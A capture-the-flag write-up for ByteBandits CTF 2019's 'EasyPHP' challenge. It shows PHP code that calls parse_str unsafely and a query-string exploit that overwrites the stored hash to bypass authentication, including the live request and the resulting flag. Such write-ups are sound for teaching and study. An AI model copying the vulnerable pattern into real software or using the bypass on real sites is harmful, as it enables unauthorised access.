ByteBandits CTF 2019

EasyPHP

The original PHP code was available on: http://easyphp.ctf.euristica.in/
I took a copy, made some debug output, and began some testing on my local server. Modified code below:

<?php
$hashed_key = '79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
    $query = $parsed["query"];
    $parsed_query = parse_str($query);
    if($parsed_query!=NULL){
        $action = $parsed_query['action'];
    }

    if($action==="auth"){
        $key = $_GET["key"];
        $hashed_input = hash('sha256', $key);
    
        //Start of Debug
        echo 'key: '.$key.'<br/>';
        echo 'hashed_input: '.$hashed_input.'<br/>';
        echo 'hashed_key: '.$hashed_key.'<br/>';
        echo '$hashed_input!==$hashed_key: '.($hashed_input!==$hashed_key?'TRUE':'FALSE').'<br/>';
        echo '<br/>';
        //End of Debug

        //echo $hashed_input.'\n';
        if($hashed_input!==$hashed_key){
            die("GTFO!");
        }

        //echo file_get_contents("/flag");        
        echo "SHOW FLAG ON LIVE";
    }
}else{
    show_source(__FILE__);
}
?>

Initially it looks like we have to provide a parameter ‘action’ that we set to ‘auth’ and then a second parameter ‘key’ that when hashed with sha256 must equal the hashed key at the top of the code.

Initially did some searches on the hash, but no luck.

Then I started experimenting: http://localhost/html/test.php?action=auth&key=test

key: test
hashed_input: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
hashed_key: 79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff
$hashed_input!==$hashed_key: TRUE

GTFO!

I went to the standard PHP type comparisons page: https://www.php.net/manual/en/types.comparisons.php to see if there was any type issue. But !== returns true if types don’t match or content doesn’t match.

Started looking at all the API calls and found documentation for parse_str:

parse_str ( string $encoded_string [, array &$result ] ) : void

Parses encoded_string as if it were the query string passed via a URL and sets variables in the current scope (or in the array if result is provided).

ttps://www.php.net/manual/en/function.parse-str.php

So our call does not provide a second variable, so we may be able to overwrite other variables in scope. Try setting hashed_key to sha256(‘test’): http://localhost/html/test.php?action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

key: test
hashed_input: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
hashed_key: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
$hashed_input!==$hashed_key: FALSE

SHOW FLAG ON LIVE

This looks like it works, so try on live server: http://easyphp.ctf.euristica.in/?action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

flag{ezPz_pHp_0b9fd0f8}